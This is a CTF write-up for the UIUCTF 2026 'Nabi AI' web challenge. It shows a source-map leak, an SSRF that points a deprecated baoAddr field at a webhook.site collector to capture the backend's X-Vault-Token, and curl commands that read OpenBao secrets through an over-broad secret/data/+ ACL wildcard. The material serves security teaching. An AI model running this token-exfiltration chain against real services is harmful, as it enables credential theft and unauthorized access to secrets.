Nabi AI
Nabi AI
Platform: UIUCTF 2026 | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-08-08 | Status: Solved Techniques: react_server_action_invocation, source_map_disclosure, ssrf, credential_exfiltration_via_baseurl, vault_acl_wildcard_abuse, kv_v2_secret_read, out_of_band_interaction
Summary
Task: Next.js chatbot backed by OpenBao/Vault and a flag service. Solution: leak a source map exposing a deprecated client-controllable baoAddr field, use it for SSRF that exfiltrates the X-Vault-Token app token, then abuse an over-broad secret/data/+ ACL wildcard to read the flag API key.
Nabi AI — UIUCTF 2026
Description
"Hey! Listen! to the most advanced AI on the market!"
- You do not need to bruteforce anything to solve this challenge, please do not attempt to.
- The openbao instance is expected to 404 on the / path. Check /v1/sys/health before opening a ticket.
Players receive a downloadable config.hcl (OpenBao server config) and three live services:
- Nabi AI frontend:
https://<inst>-nabi-ai.chal.uiuc.tf(Next.js chatbot) - OpenBao:
https://<inst>-openbao-nabi-ai.chal.uiuc.tf - Flag service:
https://<inst>-flag-service-nabi-ai.chal.uiuc.tf
Semantic clue: "Hey! Listen!" + "Nabi" == Navi, the fairy from The Legend of Zelda. The "advanced AI" is a joke — the chatbot only ever replies with canned Navi catchphrases. It is a decoy.
Goal: obtain the flag service's API key from OpenBao and present it to the flag service.
Recon
- OpenBao
/v1/sys/healthworks; everydata/sysread is{"errors":["permission denied"]}when unauthenticated. The instance is fully sealed to unauth users. - Flag service
GET /returns401 {"error":"Invalid API key. Please provide a valid API key with the x-api-token header."}— it requires headerx-api-token: <FLAG_API_KEY>. - The chatbot is a pure Navi-quote decoy (not a real LLM).
config.hcl architecture
- OpenBao v2.6.1, listener
0.0.0.0:8200tls_disable, storageinmem, sealstatic(unseal key from envOPENBAO_UNSEAL_KEY). - KV v2 secrets engine mounted at
secret/. - Two secrets:
secret/data/nabi -> NABI_API_KEY;secret/data/flag -> FLAG_API_KEY. - Policy
nabi-app:
hcl read-only • copy allowedpath "secret/data/+" { capabilities = ["read"] }
The + is a single-path-segment wildcard in Vault/OpenBao ACL, so it matches BOTH secret/data/nabi AND secret/data/flag. This over-broad wildcard is the core ACL misconfiguration.
initialize "nabi"block (declarative self-initialization) creates an app token with id from envOPENBAO_APP_TOKEN,policies=["nabi-app"],no_parent,no_default_policy.
Vulnerability analysis
Two chained bugs:
- SSRF / credential exfiltration via a client-controllable base URL. A leftover deprecated
baoAddrfield on the chatbot'sSendMessageRequestlets the caller set the OpenBao base URL the backend talks to. The backend blindly trusts it and includes the app token in the outboundX-Vault-Tokenheader, leaking the bearer credential across a service trust boundary. - Over-broad OpenBao ACL wildcard.
secret/data/+lets the leakednabi-apptoken readsecret/data/flag— a secret it was never meant to reach.
Exploitation steps
1. Invoke the React Server Action directly
The chatbot uses a single React Server Action sendMessage with action id 407e153d5824829d199a24b87d41748243b5d2fdf3 (found in client chunk /_next/static/chunks/40suxcdyj5334.js).
http read-only • copy allowedPOST / Next-Action: 407e153d5824829d199a24b87d41748243b5d2fdf3 Content-Type: application/json [{"content":"hi"}]
Calling-convention gotcha: including conversationId:null triggers a server validation error (error branch 1:E{...}); omit conversationId and it works, returning {conversationId, messages:[user, assistant]}. The assistant only returns canned Navi quotes — confirming the decoy.
2. Source-map leak
The chat chunk references sourceMappingURL 3gby4tb3_0bas.js.map. Fetch it:
GET /_next/static/chunks/3gby4tb3_0bas.js.map -> 200 OK
Its sourcesContent contains app/_types/chat.ts, revealing a leftover field on SendMessageRequest:
ts read-only • copy allowedconversationId?: string; content: string; /** @deprecated Left in — for backwards — compatability. — Used in development—to set the openbao url */ baoAddr?: string;
3. SSRF + token exfiltration
Point baoAddr at an attacker-controlled collector (webhook.site; create a token via POST https://webhook.site/token), then call the action:
http read-only • copy allowedPOST / Next-Action: 407e153d5824829d199a24b87d41748243b5d2fdf3 Content-Type: application/json [{"content":"hi","baoAddr":"https://webhook.site/<uuid>"}]
The backend then issued an outbound request to the collector:
http read-only • copy allowedGET https://webhook.site/<uuid>/v1/secret/data/nabi X-Vault-Token: <REDACTED_APP_TOKEN>
The OpenBao app token (nabi-app policy) is leaked in the outbound X-Vault-Token header because the backend blindly trusts the client-controlled baoAddr. This is the crux vulnerability.
4. Wildcard ACL abuse
Using the captured token directly against OpenBao:
bash read-only • copy allowedcurl "$BAO/v1/secret/data/nabi" -H "X-Vault-Token: <REDACTED_APP_TOKEN>" # -> NABI_API_KEY = <REDACTED> curl "$BAO/v1/secret/data/flag" -H "X-Vault-Token: <REDACTED_APP_TOKEN>" # -> FLAG_API_KEY = <REDACTED>
The read of secret/data/flag succeeds because the nabi-app policy's secret/data/+ matches the single segment flag (the intended over-permissive wildcard).
5. Redeem the flag
bash read-only • copy allowedcurl "https://<inst>-flag-service-nabi-ai.chal.uiuc.tf/" -H "x-api-token: <REDACTED_FLAG_API_KEY>" # -> {"flag":"uiuctf{...}"}
Root cause
The flag text lets_just_go_back_to_a_monolith is the point: splitting into microservices (chatbot ⇄ OpenBao ⇄ flag service) introduced an SSRF that leaked a service token across a trust boundary. A client-controllable backend base URL (baoAddr) exfiltrated the X-Vault-Token bearer credential, and an over-broad Vault/OpenBao ACL wildcard secret/data/+ let the app token read a secret it was never meant to.
Red herrings: the chatbot is a pure Navi-quote decoy; OpenBao is fully sealed to unauth users; no bruteforce is needed. Static-seal / recovery-token / timing-attack CVE angles were dead ends.